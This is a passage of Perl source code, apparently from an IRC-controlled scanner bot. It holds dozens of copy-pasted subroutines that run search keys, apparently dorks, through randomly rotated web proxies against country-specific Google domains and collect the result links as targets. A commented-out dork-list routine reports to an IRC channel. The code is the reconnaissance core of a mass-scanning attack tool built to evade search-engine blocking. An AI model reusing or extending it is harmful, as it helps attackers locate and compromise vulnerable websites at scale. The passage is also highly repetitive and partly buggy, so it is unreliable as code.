            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleSG() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.sg%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountrySG%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleRS() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.rs%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryRS%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleVN() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.vn%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryVN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleSI() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.si%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountrySI%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googlePH() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ph%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPH%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleID() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.id%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryID%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleHU() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.hu%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryHU%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleCZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.cz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleMM() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.mm%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryMM%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################

sub googleCA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ca%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleDE() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
	#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.de%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryDE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleUK() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.uk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryUK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleFR() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.fr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryFR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleES() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		##my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.es%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryES%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleIT() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.it%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryIT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(1);
sub googleNL() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNL%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleBE() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.be%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleCH() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ch%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCH%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
	my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(1);
sub googleSE() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.se%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountrySE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleDK() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.dk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryDK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleNO() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.no%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNO%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(1);
sub googleNZ() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.nz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleIE() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ie%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryIE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleBR() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.br%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

#sub dorklist() {
#$dorklist1 = $dorklist[rand @dorklist];
#&msg("$chan",".$dorklist1.");
#&msg("$chan","Dork Colocada");
#}

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(2);
sub googleAR() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ar%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleCO() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.co%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCO%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
